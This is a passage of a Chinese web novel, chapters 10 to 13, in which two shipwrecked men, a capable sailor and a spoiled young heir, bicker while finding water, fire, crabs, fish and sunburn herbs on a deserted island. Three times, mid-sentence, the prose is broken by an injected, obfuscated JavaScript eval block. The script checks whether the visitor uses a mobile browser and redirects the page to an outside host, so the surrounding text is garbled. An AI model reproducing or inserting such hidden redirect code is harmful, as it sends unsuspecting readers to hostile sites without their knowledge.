“你忘了,我刚才还扇你一巴掌。”枭风郑重地提醒,不介意再做个示范。 王昕的双眸黯然失色,两颊因受辱而迅速飘红。 这一幕就像他们的初遇,矜贵的小少爷不敢相信自己被邋遢小矮子鄙视。 “蠢货。” 枭风留下两个字,略显冷酷地转身走开。 王昕没再跟着,保持狼狈坐姿,凌乱的头发伏在前额,在脸上投下一道阴影。 约莫半分钟,枭风回头瞅一眼。 王少爷像个巨婴一样在那委屈巴巴的,真奇怪,演给谁看呢。 枭风目光微微闪动,声音不高不低:“有蛇。” 闻言,王昕原地弹起,发疯般跑了过来,一个大跳抱住枭风,紧接着双脚离地,两条长腿顺势盘在枭风腰间。 “在哪呢!!” 枭船长的脸彻底黑了。 10. 第 10 章 太阳位于东方,随着时间的推移,开始向南移动。 枭风只需瞅一眼,马上判断出现在大概是上午九点多。 根据灌木丛的湿度推测,他猜到昨晚这里下过雨,可以收集露水备用。 在这种地方,淡水可比金子贵多了。 不过在这之前,枭风需要吃点东西补充体力。 他拔出腰间的刀子,仔细检查刀柄和刀刃,确定没问题后他朝东走。 刚走出去没两步,他就和王昕撞个正着。 “啪嗒”一声响! 王昕将一块腐朽的树干扔在地上,指着一条很长的拖拽痕迹,颇为冷漠地宣布:“从现在开始,这边是我的,那边是你的,这块木头是分界线,咱俩各过各的,井水不犯河水,直到救援队找到这里。” “求之不得。” 枭风欣然接受,那泰然自若的模样仿佛甩下一个大包袱。 说完他便朝前走,只留王昕在原地瞪着他的后脑勺。 十分钟前,两人发生第一次交火。 王昕的一个熊抱,换来了枭风的过肩摔,就此他们分道扬镳。 直到这时候,王昕的肩背还疼着,细数过往,能让他受这种气的只有枭风。 他俩凑到一起倒大霉,必须分家! 经过一段时间冷静,王昕不像刚醒来那么激动慌张,他找块岩石坐稳,开始分析自己的状况。 他相信救援队会找到这里,只需熬过最难的几天,指不定等会儿就有一艘船出现,或者一架飞机在上空盘旋。 至于其他方面,他看过一部《荒岛求生》的电影,可惜只记住男主的胡子和一身肌肉,好在他了解一些户外求生的基本知识。 现在的王昕,还是比较乐观的。 他整理好情绪,开始检查身体,胳膊和大腿都有淤青,应该是昏迷时造成的,接着是衣服,潮款衬衫的拼色马甲不翼而飞,只剩松垮的白色底衫,下身配的休闲西裤,裤脚开线了,所幸两只网鞋还套在脚上,里面还没有干透。 哦..还有一块劳力士手表。 王昕抬起手腕,看见指针在转动,可显示的时间明显不准。 他在心里叹口气,扯了扯脏兮兮的衬衫。 这辈子没这么落魄过.. 忽地,肚子发出“噜噜噜”的响声,口渴、饥饿、疲乏以及燥热这些感受统统找上门。 他抬眸搜寻着,然而他的‘新邻居’早已无影无踪。 ... 海滩的另一边。 枭风跟随记忆中的画面,在救助王昕的附近找到椰树。 他用刀子在椰子上钻两个孔,一个用来吸取椰汁,一个用来通气。 一小口丰富的椰汁,可以解决致命的问题。 喝完后,枭风把椰壳剖开,将里面奶油色的椰肉一片片刮下来,当做早餐补充能量。 这不算完,他还要用椰壳收集露水。 他钻进灌木林,顺着来时的方向,一边走一边采集露水,同时不忘注意脚下。 约莫半个小时过去.. 枭风来到先前的崖壁下,稍稍抬头,看见另一个男人的影子。 阳光洒入山间,使岩石缝隙的水流变小,几乎干涸,正以”滴答滴答“的龟速坠落。 王昕蹲在石头上,酸麻的大腿直打颤,但努力坚持着,双手接了几滴水之后赶紧舔舐干净,然后接着来,从后面看很像一位虔诚的朝圣者。 枭风默默凝视,没吱声。 换成别人估计会放声大笑,毕竟难得一见。 坚持了能有两分钟,王昕挺不住了,他不知道后面有人,毫无偶像包袱地爬下石坡,姿势滑稽且笨拙。 见到这一幕,枭风想起小时候,他们在棕榈林相遇。 少年时的王昕也是这样下树的,这么多年一点长进都没有。 “呼..”王昕喘口气,一转头直接愣住。 枭风就站在三米开外的位置,神色淡漠,脸上既没有同情也没有嘲笑。 王昕羞红了耳朵,没话找话地掩盖羞耻心:“你别再说什么有蛇,吓唬小孩的把戏。” “你想得很美,”枭风的话很务实,“其实没那么容易碰到。” 无毒的蛇对枭船长来说是一种美味,可以填饱肚子的。 王昕压根就没往这方面想,摆出一副天不怕地不怕的样子:“你放心,就算碰到我也不会往你身上跳,再碰你一下,我就投海自尽。” 枭风面容淡泊,只是轻轻抬了抬眉毛。 他发现王昕的状态转好了,不再一点就炸,甚至有点扭扭捏捏,像极了傲娇又很想讨主人欢心的猫,超大号的猫。 “你继续。”他指了指岩石,打算走人。 “嗳等等!”王昕的眼睛一亮,“你手里是什么东西。” 枭风抬起手腕:“椰壳,大自然为落难水手准备的礼物。” 王昕的反应很有趣,先是张了张嘴,然后舔唇,最后咬住下唇,脸上刻着“纠结”二字。 天知道他多想问出口,换一个人该有多好.. 如果对面的男人不是枭风,他也不用这么难以启齿。 “我收集了一些露水,味道不错。”这话说完,枭风将椰壳里的水全部倒进嘴里。 “嗳嗳..你你..”你给我留点儿啊! 王昕伸长胳膊指着椰壳,看着里面一滴不剩,差点哭出来。 枭风抹下嘴角,用平淡的口吻故意问:“你很渴?” 王昕又露出那种纠结的表情,习惯性地咬嘴唇,大眼睛转来转去,嘴上就是不肯服软。 忽然,枭风笑了,很淡又很短的笑容。 就在王昕惊讶于他有这种功能时,他以闪电般的速度拔出匕首,拉起一根绕树生长的藤蔓一下砍断,举起断口说:“过来,喝水。” 王昕纠结的情绪立马抛到九霄云外,两个箭步凑到跟前,嘴唇对准藤蔓的断口,让大量水滴涌入口中。 为了让他舒服些,枭风把胳膊抬高。 整个过程简单流畅,对出色的船长来说属于基操,可在王昕眼里,为他找水喝的枭风比电影明星还帅! 从低视角往上看,男人的下颌线坚硬,鼻梁高挺,不大的眼睛却很有神蕴,整个人都散发着神圣光辉。 “可以了,”枭风收起藤蔓,语气仍旧不冷不热,“这里不是雨林,淡水很少,藤蔓存了水是因为昨夜下过雨。” 王昕摸着舒服的喉咙:“你怎么知道?” 枭风瞥一眼:“我就是知道。” “那你还费力的收集露水?” “因为露水干净好喝,藤蔓的存水干涩略脏,可能还有小虫,不过要比岩缝的水好些。” “.....”王昕刚蓄了点好感值,立马降低负数。 “你好像不太高兴,没关系,”枭风收起刀子,一边说一边朝林子里走,“你自便,我在你这里浪费太多时间了。” “你这话什么意思,喂你..”王昕眼睁睁看着人走远。 与此同时,腹部再次传出饥饿的叫嚣。 王昕回到沙滩,并没有坐以待毙,捡了一堆大石块,在自己的地盘摆出SOS形状。 这是国际求救信号,希望路过的直升机可以看见。 另一头,短短时间内,枭风已经收集不少火绒和引火物。 他找到草、蕨类植物,还有干了的真菌,带着这些东西来到海边的岬角,打算在这里生火,火不仅能解决温饱,到了夜晚还是关键的信号。 如果真有救援队或路过的船只,看见火光会被吸引。 他刚刚留意到王昕摆出了SOS信号,所以不会浪费时间做相同的事。 此时,艳阳高照。 毒辣的阳光炙烤大地,大海都在冒热气。 枭风脱掉上衣,在另一个男人错愕的注视中,他将湿泥土抹在肌肤上,然后有条不紊地搭建信号塔。 王昕认为他精神错乱,看得直摇头:“疯了,疯了..” 其实枭风这么做是为了防晒,办法虽然粗陋,但有效果。 他三个地方来回跑,成功在岬角支起信号火堆,三块木板组成三脚架,用藤蔓缠紧,下面是干树枝和耐烧的木头,上面是干燥的引火物。 做这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612301|172177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事的时候,他变戏法似的抓住两只棕色大螃蟹。 螃蟹还在他手中张牙舞爪,试图挣脱束缚。 王昕恰巧抬头,眼睛都看直了。 沦落荒岛数小时后,王昕的脑袋慢半拍冒出一个疑问:那家伙做这些事为什么游刃有余? 还是说全世界的水手都这么牛逼! 他刚才在海边徘徊许久,连小鱼小虾的尸体都没找到。 饥饿让人眼前发黑,然而强烈的自尊心依旧作祟。 王昕摇摇晃晃站起身,一手伏在额头挡住阳光,看着枭风的方向不停地吞口水。 枭风取下挂在脖子上的打火石,是两个金属物。 父亲留给他的礼物,关键时刻总能派上用场。 接下来的事儿就好办多了,他做好了火绒,用刮刀和打火石互击,很快产生火花并引燃了干草球。 火势蔓延,飘出缕缕青烟。 枭风又在朽木的树干里找到些雨水,煮开水,他即将享用螃蟹大餐。 反观他的邻居,开始有样学样,找了一堆干树枝和干草,堆在沙滩上,琢磨用最古老的方法——钻木取火。 王昕对野外生存常识略懂一二,但实操起来实在不如人意。 按照课本上的流程,他找到一根又直又长的木棍,用干树叶和树皮制造‘鸟窝’,然后两只手夹住木棍,以最快的速度旋转着。 他用尽所剩不多的力气,最终宣告失败。 除了挫败感,他还收获几个水疱。 从小生活优渥的他,皮肤保养的很好,木棍的摩挲没有引起火花,反而让他的手掌遭殃。 王昕双眸黯然失色,颓废地坐在地上,朝海边望去。 很快,他又变得气鼓鼓的。 “啪嗒啪嗒啪——” 熟悉的脚步声靠近。 枭风不用回头也知道是谁,不给反应,自顾自地吃着煮熟的大螃蟹。 那鲜味儿,简直了~ 太上头,熏得人理智全无。 “枭船长,”王昕用脚尖刮着地面,“先住嘴,跟你打个商量。” 枭风微微侧过身躯,神色漠然:“有事?” 在灼热的太阳下,王昕觉得有点头晕:“这座岛上可能只有我们两个活人,也算是生死之交,你真的要一个人吃独食?” 枭风挑眉:“不是你说的吗?各过各的互不打扰。” “.....”王昕如鲠在喉,脸上浮现窘迫之色,“是这么回事,但是...喂喂!剩下那只大螃蟹你就别动了,我拿钱跟你买!” 枭风把螃蟹放一边,拿起烤成深色的冒贝,不紧不慢道:“我不要钱。” 王昕开启谈判模式:“我们早晚会回去,到那时你就需要钱了。” “如果真的能回去,你要赔偿我的逐日号,”枭风话语微顿,丢过去一个沉重的眼神,“多余的一分我都不会要。” “所以你想趁我饿要我命?”王昕上前一步,实在不行用抢的。 枭风露出疑惑又嘲讽的神情:“你有手有脚,真的饿死,也是你自己的问题。” “.....”王昕无言以对。 他的大脑飞速运转,为了填饱肚子,他一改嚣张态度:“别说是陌生人,作为新邻居,你也不能见死不救吧。” 枭风沉思了一小会儿,用认真且不容置疑的口吻道:“你可能误会了,我并没有恶意针对你,不管在城市还是渺无人迹的森林,我身边都不允许有人坐享其成,不劳而获在我这里行不通,无论他是谁。” 王昕明白了,心中备受打击。 船长几句话就把他脑子里沸腾的点子打消掉,金钱在这里起不到任何作用,他的傲慢有所收敛:“说吧,你到底想怎么样。” 枭风低头检查火势,“这话应该我问你。” 王昕犹豫道:“我拿东西跟你换。” “你拿什么换。” “你想要什么!” 王昕彻底急了,眼睛如火炬般明亮。 枭风微微侧目,余光扫过男人的身体,提出条件:“裤子脱了。” 王昕:“???” 11. 第 11 章 王昕环顾一圈,脸上挂着犹豫不决的神色。 四下,空寂无人。 “嗳!你不要过来啊。”他冲林子里喊话,余音绕着崖壁又回到他耳朵里。 吃完大螃蟹,他跟着枭风七拐八拐来到这处天然海湾,被两块陡峭的巉岩围成一个凹痕,离露营的沙滩并不远,他完全不知道有这么个地方,想必那两只大螃蟹就产自这里。 按照两人的约定,枭风让王昕把裤子脱了,没说干什么用。 王昕就算万般不情愿也要照做,四周没有能遮羞的东西,他只能站在岩石上脱掉鞋子,一只手摸到裤腰带,往下拉之前他又鬼祟的四处瞅瞅。 不是害羞,而是毁形象。 他对自己的身材很有自信,断定比枭风有看头,只不过里面穿了一条卡通三角内裤,前面绣着他原创的漫画动物,后面印着一个人手竖中指。 身高一八八帅气的俊男,竟然穿这种内裤。 画面可以想象... 王昕发誓,平日里他穿的内裤很正常,不是蓝色就是黑色,顶多试试白色,出海那天早上不知道抽什么疯,他拆开专栏粉丝邮寄的礼物,看见内裤可爱就随手套在身上,根本没多想。 “哎..”他一边脱裤子一边嘀咕,“你是神秘的Cloud,多少人想一睹你的真颜,你有100万粉丝,为何沦落至此..” 他把裤子褪下,确定周围没人,快速脱掉卡通内裤,打算用最快的方式洗完再穿上。 就是这段间隙,一连串脚步声突然逼近。 王昕把脱一半的内裤猛地上提,吓得差点摔倒,他又气又惊地回头。 果然是枭风,手拿一根超级长的棍子,面无表情地从旁边经过。 王昕的脸由红转绿:“我不是让你别来嘛!” 枭风在不远处停下,抬眸轻瞥,那眼神的意思好像是:你说话好使吗? “闷葫芦..”王昕小声吐槽,将衬衫脱下来围在臀部,宁可光膀子也不要露内裤。 枭风拿出精挑细选的石块,坐在那儿开始磨刀。 噶擦——喀嚓—— “嗳,枭风,”王昕略显尴尬地问,“你都看见啥了。” 野蛮人会不会趁机嘲笑他? 枭风根本没注意他内裤颜色,确实在不经意间瞥见他的上半球,若硬要发表一点感言,那么,枭风觉得他的臀形是他唯一的优点。 不过这话没意义,枭风装作听不见,维持闷葫芦的人设。 沉默就等于什么事也没发生。 王昕这样安慰自己,偷偷松口气,提起裤子走过去。 枭风很快磨完刀,就着最近的水源洗掉身上的泥土,渐渐露出肌肤原本的颜色,接着,他用水清洗上衣,将湿透的衣服晾在旁边的大岩石上。 他没有离开,坐在石头旁,拿起刀开始削那根粗硬的木棍。 王昕走到他跟前,将裤子递过去:“你赶紧用,用完了还我。” 枭风头也不抬:“放在这里。” “你不打算还我了?”王昕努力压着想吵架的欲望。 他也解释不清楚,为什么自己碰上枭风就想找不痛快。 枭风瞅他一眼,接过裤子,抻平后找到裤脚开线的口子,对准裂口撕下一圈布料,另一个裤腿也没逃过被撕的命运。 完事后,枭风把裤子扔回去,只留两个布条。 王昕捡起裤子穿上,发现长裤变成了九分裤,脸上露出疑惑:“那个有什么用。” 枭风不语,将两个布条缠在一起打结,像根细细的麻绳,他把布绳放在旁边,继续用刀子削木棍。 “鬼才理你呢。”被忽视的王昕不甘示弱,转身走出去几步,趴在岩石上抓螃蟹。 哼哼!自己动手,免得有求人家,他可不想九分裤再变七分裤。 这处天然海湾应该是两条支流的交汇点,潮水开始上涨,里面全是海水。 在灰白砾石的衬托下,鱼儿清晰可见,一条条随摇着尾巴。 王昕睁大眼睛盯着水面,嘴角缓慢上扬,他指着游来游去的鱼儿,开心地念叨:“我的,都是我的,要吃你们啦!” 忽然,一个海蟹从裂缝中爬出来,紧紧贴着水位线。 “啊啊啊!”王昕激动的大叫,直接伸手去抓海蟹,然而下一刻,他就乐极生悲。 海蟹反击的速度超快,他的手伸过来的刹那,举起钳子反击。 其实还没碰到,但王昕被大钳子吓一跳,整个人往后栽倒,噗通一声坐进水坑里,好在水浅,造不成大问题。 “连你也戏耍我!”王昕七不服八不愤,重新爬起来,势必要抓住大海蟹,“别跑,我一定要把你吃进嘴里..” 他这边上蹿下跳,另一边的枭风已经削好长长的木棍。 枭风的脑中早有计划,那就是——捕鱼。 螃蟹无法提供足够的能量,成年男人需要更多的营养和食物,进入森林探险之前,枭风要在大海这间天然食品储藏室找点吃的。 中午吃过的蟹壳里混杂黏黏的内脏,可以用来当鱼饵。 枭风把内脏捏起一些,抛进海湾里,然后拿着自制鱼叉守株待兔。 鱼的嗅觉非常灵敏,能够嗅到几百米之外。 ‘晚餐’并没有让枭风等太久,他察觉出湾里的小鱼悄悄消失,证明有大家伙进来了。 很快,一条约半米长的大鱼出现在视野中。 枭风双手握住叉子,仔细瞄准水里的目标。 对普通人来讲,野外捕鱼并不是一件容易的事,好多人对水的深度都不了解,但枭风不需要任何设备辅助,只凭眼睛即可。 他能精准算到鱼下一秒钟出现的位置,并快狠准地直击目标。 空中传出一声闷响,接着是扑扑腾腾的动静。 叉子插中鱼身,大鱼使劲挣扎,水里暗潮涌动。 枭风将叉子用力按到水湾底下的岩石缝,保持这种力度不动,直到感觉鱼的力量变弱。 紧接着,他脱掉裤子跳入水中,往湾里潜入两米深,看见了还在那抖动的大鱼。 他加快踢腿的速度,赶在大鱼落荒而逃之前,他把叉中的大鱼死死按住,用力贯穿鱼的身体,然后抓紧叉子的另一端,迅速往上游。 “哗啦”一声。 枭风浮出水面,带着自己的战利品。 他把叉子和半死不活的大鱼扔上岸,自己也爬了上来,动作一气呵成。 与此同时,邻居朝这边看来。 “卧槽..”王昕不敢相信自己的所见所闻,“上帝,他凭什么。” 相较枭风的满载而归,忙活半天的王昕是颗粒未收,不仅没抓到海蟹,反而弄得浑身湿水。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612302|172177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王昕踩着岩石朝男人靠近,眼睛有点忙不过来,视线在大鱼和枭风身上来来回回扫荡。 饥饿感没那么强烈的时候,王昕会注意到别的,比如枭风裸露的身体。 凭良心讲,枭风的身材还不错,肌肉不夸张,但看着结实,主要身形好,肩宽腰细,标准的衣架子,即便肌肉不如运动员的饱满,仍然显得魁梧挺直,有种叫‘安全感’的气息蹭蹭往外扩散。 王昕想起自己抱过枭风,回味一番,触感确实挺硬。 打量完枭风的身材,下一个就轮到地上躺着的‘晚餐’了。 鱼被扔在岩石上,尾部摆动着,鱼鳃起伏不停,一副很痛苦的样子。 枭风用刀柄狠狠敲击鱼头,两下就让大鱼停止呼吸。 这一幕看得王昕头皮发麻,引起生理性的不适,赶忙别开脸,闭着眼暗暗做两个深呼吸。 枭风洗净身上的粘稠物,开始穿裤子,这时候,晾在岩石上的衣服风干,他拿起来套在身上。 搞定食材,开启下一站。 他一手提着鱼叉,另只手扣着鱼鳃,不忘把布绳缠在腰间,就这么大步向前往临时营地走去。 王昕像警惕的野猫一样跟在后面。 那么大一条鱼,一个人肯定吃不完。 鱼肉保存不了多久,臭味相当难闻.. 王昕边走边在脑子里组织语言,挖空心思找个理由去跟邻居谈判,大不了九分裤变成短裤。 走着走着,他被自己脸上的不适感吸引。 他抓着胳膊、后脖颈和脸皮,感觉又疼又痒,渐渐地,他觉得脸皮发热,一碰就出现火烧火燎的痛感。 “枭风,你等等!” 王昕顾不上面子不面子,小跑着追上枭风,紧张的嗓音直打颤。 枭风敏锐地瞥一眼:“你有事吗?” “你看看我的脸,是不是变黑了!”王昕没有镜子,以为自己乱吃东西中毒了,“完蛋,真是命运多舛,我注定要死于非命。” 枭风凑近些,仔细观察;片刻,很快判断出原因。 王昕的皮肤不适应这里的光线,露出来的皮肤被晒坏了,整张脸微微泛肿,颜色粉红粉红的,让人联想到抹了胭脂的发面馒头。 “我是不是出事了?”王昕紧张兮兮地问。 枭风垂了垂眼睛,语气云淡风轻:“你的脸肿了。” “什么?”王昕轻轻碰触双颊,脑海里浮现毒发身亡的场景。 “死不了,”枭风笃定道,“可能会烂掉,在脸上留下马蜂窝一样的疤痕。” “真的假的..“王昕的心情宛若坐过山车,前一秒喜后一秒忧,“怎么会这样,开什么玩笑啊,这么帅的一张脸,我还指着这张脸找对象呢。” 闻言,枭风下颌微低,好掩藏嘴角的一抹笑意。 王昕看见了,很快反应过来:“混蛋,你故意吓唬我。” 枭风抬起脚继续朝前走,声音里带有一星半点的安慰:“明天你的脸会皲裂,可以找一种草药敷上,既能缓解痛感也能修复皮肤,三天就能好,等你皮肤适应这里的天气就没事了。” 王昕跟在他身边,摸着火辣辣的脸颊问:“你怎么没肿?” 枭风理直气壮:“我是水手,你说呢?” 王昕幽怨地瞪一眼,超小声:“我就不说..” 12. 第 12 章 随着时间的推移,太阳浮在海平线上,可能眨眼之间就会沉下去。 “咕噜呼噜——” 熟悉的叫声从腹部传来。 王昕摸了摸空荡荡的胃,现在的他有点顾不来身上的毛病,不吃东西尚可忍耐,滚烫的脸颊却不容逃避。 他觉得自己的脸越来越夸张,变得紧巴巴,好像抹了一层胶,搞不好下一秒就要裂开。 这种滋味相当难熬,更让他难熬的是心态。 从遇难到现在已经过去一天,别说救援队了,碧蓝澄净的海面上连一个斑点都没有。 再等几天,哪怕是一个礼拜。 王昕对此充满希望,总有一天会有人找到这里,带他回到熟悉的大都市。 啪嗒——啪嗒—— 那个男人来了,脚步声轻缓而稳健,像森林里的动物。 “王昕。”枭风在适当的距离驻足,然后把手里的长草花叶扔到王昕大腿旁边,“这种植物一般长在灌木丛或树根边缘,它的样子容易和巴莱草混淆,不过它的叶子较长,味道刺鼻好分辨。” 王昕先是扫一眼腿边的野草,再抬头往上瞅。 枭风逆着光,身形伟岸,看不清五官。 “有什么用,这是你施舍给我的晚饭吗?”王昕完全忘了两个小时前的对话,“我现在张嘴说话都感觉很吃力,你不用安慰我,就算没有镜子我也能想象到自己的脸有多难看。” “我不是来安慰你的,”枭风好像没有这种功能,声音郑重而没温度,“你的样子确实丑,让我想起奶奶在世时蒸的爆花馒头,王琦见了肯定认不出来。” “......” 王昕几番犹豫要不要反唇相讥,最后双手捂脸,说话赖赖唧唧:“你想趁机嘲笑我,OK!我知道啦,你要是没别的可说赶紧离开。” “不是来嘲笑你的。” “那你来干嘛!” 枭风皱眉,耐心渐渐告罄:“我之前跟你说过,有一种草药可以缓解皮肤的不适,能在短时间内治疗皲裂。” 王昕的大眼睛骤然一亮:“对对对!”他一秒切换心情,抓起旁边的野草从地上爬起来,“我记得,你说的就是这个?” 枭风扫一眼他泛肿的脸,点头:“嗯。” 王昕赶忙用另只手挡住大半张脸:“怎么用啊。” “别挡了,我不笑你。”枭风难以理解他的行为,“碾碎后敷在脸上,记住不要用海水。” “怎么碾?” “自己想办法。” 说完,枭风转身离开,朝着信号塔火堆走去。 王昕看着男人渐去的背影,眼前浮现烤鱼的画面,不自觉舔了舔嘴唇。 他以前对鱼肉不感兴趣,只吃那种贵到离谱的稀有鱼,今不同往夕,现在给他什么他都吃。 “嗳!枭风,”王昕小跑着追上去,“那个...你慢点行吗?你看看我身上还有什么你想要的,我跟你换。” 枭风目不斜视,保持超常的步伐继续向前,“草药是送给你的,不用拿东西换。” “.....”王昕认为他是故意的,瞪一眼他的后脑勺,“我指的不是草药,是...烤鱼。” 闻言,枭风停住步子,转过头来:“你想吃鱼?” 废话! 王昕表面笑嘻嘻,笑得十分勉强:“要不我把裤子脱下来,你再裁一块?” 枭风缓缓摇头:“我不需要。” 王昕下意识吞咽口水,干脆明讲:“说吧,我怎么做才能吃到鱼肉。” 枭风垂下视线,思考一会儿说:“拿你的精力来换。” “经历?”王昕露出疑惑又惊喜的表情,“你想听我讲故事?” “.....”枭风无语地瞅一眼海面,换一种说辞:“体力,你要干活。” 王昕前一秒还挺高兴,讲故事自己最擅长了!甚至可以画下来,然而下一秒脸就垮下来:“说真的,除了我妹妹,你是第一个指使我干活的人。” 枭风不以为意:“你可以拒绝。” 王昕冷哼:“这算不算小人得志?” “不算,”枭风语气平常,甚至带点劝导的意味,“其实你有手有脚,是个成年男人,身体看着也不虚,完全可以尝试自己找东西吃,不过要提醒你一点,森林里的植物和野果不要随便吃,还有一些花色的爬行动物。” “来不及了,我要敷脸。”王昕抬了抬手里的草药,找一个最差劲的理由。 枭风没再说什么,抬起腿继续往前走。 王昕留在原地,朝他的背影扮个鬼脸,随后喊道:“喂!我敷完脸就去找你。” 约莫一刻钟后,顶着一张绿脸的王少爷来到海边岬角。 王昕看上去心情不错,草药缓解了皮肤的干燥,晚餐也有了着落。 现今这种状况,没有什么比这更值得庆祝的事。 信号塔的火势稳定,下面放着两块耐烧的粗树干,一缕缕白烟正向上升。 枭风坐在旁边,利落地处理鱼的内脏,仔细清理鱼鳃,然后用万能的刀子轻刮鱼鳞和黏液。 王昕找个位置坐下,低声说:“枭船长。” 枭风闻言微怔,手里动作顿一下很快又继续。 虽然只有短短一天,但他总结出一个经验。 王昕平常叫他‘喂’或‘嗳’,心情不好喊全名,偶尔夹带脏字,有求于他时会叫——枭船长~ 果不其然,王昕问心无愧地冲他笑了笑:“那个什么草药,你在哪里找到的啊?” 王昕来之前特意去林子里转一圈,并没有找到同款野草,每次以为自己找到了,闻起来都不对味儿。 枭风淡淡接话:“吃完鱼肉,我带你去。” 王昕以为出现幻听,不太确实地问:“免费带我去吗?” “举手之劳,你的脸要持续敷几天,”枭风边说边把半个鱼身吊在火堆上方,“长草花叶的用处很多,多采集一点没坏处,它可以代替牙膏清洁口腔,只是味道冲了点,好处是那股清凉的味道能持续很久。” “你..有这么好心?”王昕总觉得他别有所图。 “我和你不一样,”枭风颇有风度地阐释,“我不是一个对人只有喜欢和讨厌两个选项的傻子,我具备基本的怜悯心。” “....???” 这是不是传说中的骂人不带脏字。 王昕抬头望天,又低头,猛地深吸口气。 怎么办,如果他被气昏了,好像没有人能帮他掐人中。 避免这种惨况发生,最好的办法是闭嘴。 好在王昕是个乐天派,当他吃上第一口香喷喷的烤鱼肉后,方才的那点怨气瞬间一扫而空。 那条鱼足够大,半个身子就能填饱两个男人的肚子。 剩下的鱼肉和鱼头,枭风分一些给王昕,让他当做鱼饵。 意思非常明显,接下来的路,要靠他自己走了。 王昕并不是一个纯纯好吃懒做的人,他只是经验不足,外加有点笨... 他接过鱼饵,下决心自己搞定三餐,直到救援队降临为止。 不过在这之前,有一个问题萦绕他脑海许久,他终究没忍住问:“枭风,如果把我换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612303|172177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成王琦,你还会这么严厉对待吗?” “当然了,谁都一样,”枭风回应的毫不犹豫,“像你们这种接受精英教育的人,应该更懂得自力更生的道理。” “.....” 王昕在心里反驳:我们确实独立,但学到的是现代化的独立.. 他低头,小声嘀咕:“真不知道她看上你哪里。” 枭风的听力向来好,语气自然地接过话:“她看上我对海滨镇的了解,另外...如果是你妹妹遇到同样的情况,她做的第一件事是稳住心态,然后团结队友一起想办法解决问题,最起码不会上蹿下跳的埋怨别人,更不会厚着脸皮坐等吃食。” “你够了,”王昕干巴巴道,“我发现你损起人来没完没了。” “我说的都是实话。” “提起我家琦琦你就来劲,你少想她,她不是你可以惦记的人。” “我确实有些后悔,”枭风忽然变得严肃,嗓音低得仿佛在自言自语,“我以前不信什么八字相克之类的,但是遇到你,我不得不信。” “.....”王昕按住要喷草叶的脸,半天憋出一句:“英雄所见略同!” “不要再浪费时间了。” 枭风望一眼天边,日头正以肉眼可见的速度缓缓下坠,“趁天还没黑,我们采些草药备用,鱼肉不是白给你吃的,你要干活。” 王昕默念德道经,可算把心头的火气压下去。 好好好!谁让他欠人家的呢。 他跟在枭风后面往林子里钻,学着对方捡起一根木棍扫荡地面,等两人拉开几步距离后,他冲人竖起中指:“等回到文明世界,我要你跪下来叫大哥..” 话音刚落,枭风就回过头来。 王昕吓一跳,身体僵住不动,眨巴着无辜的大眼睛。 枭风冲他招手:“过来,我教你怎么分辨草药。” “哦。” 王昕边走边挠脸:“枭风,我的脸好痒啊。” “正常,等会用水洗一洗,重新敷一次湿草药。”枭风的话传递一种能量,好像比医生的话还管用。 王昕立马安下心,随着男人的动作下蹲,眼睛盯着树根的草丛:“这个味道真的太冲了,呛的我连打好几个喷嚏。” 枭风耐心地教他认识长草花叶,然后摘下一束拿到近处给他看:“可以用来刷牙,能够去除腥膻味,很多清口糖都有它的成分。” 王昕眼睛微亮:“类似薄荷草?” “它比薄荷草的作用大多了,”枭风没时间详细解释,指了一圈周围,“你沿着树根往前,这片灌木丛我探过,没有泥淖陷阱,不过你要注意自己别被荆棘刮伤,等你采到足够多的份量,我们平分。” “等等!你去哪里?”王昕发现他要走,赶忙拽住他的衣服。 枭风轻易躲开,随手揪起一片又薄又软的树叶,“我还有别的事要做,这种圆叶子顺手收集,可以当做纸巾。” 王昕露出好笑的表情:“你没开玩笑吧。” 枭风反问:“难道你不上厕所?” “......”王昕的脸上浮现难堪的红晕,“我要用水洗,我的营地离海湾很近,特别方便,反正洗不了几天,找我的人很快就会来。” 你嚣张不了多久! 他的眼神仿佛在这样说。 枭风抬脚离开,留下一句:“你放过湾里的鱼吧。” 王昕捂住敷药的脸,另只手捡起一块石子,对准男人的背影扔去。 打中了! 但枭风没回头,一直往前走,身影渐渐隐遁于茂密的丛林中。 13.第 13 章 夕阳的余晖持续很久,可夜晚终究要来。 天色基本黑了,天边只留一道橘黄的色彩。 王昕瞅一眼用藤蔓捆住的野草,觉得差不多该收手了。 就算差很多他也不打算继续,孤零零一个人在林子里实在瘆得慌,有一点风吹草动都足以让他脚底打滑。 “枭船长,伟大的船长,”王昕提着一捆草药疾步向前,“大哥,在哪儿你吱个声,不..应该是弟弟才对,没错啊,他比你小,可为什么显得那么大哥,天哪!王昕,这时候你还有心情研究大小..” 他走得太快,根本没注意脚下早就被枭风踩出一条小路。 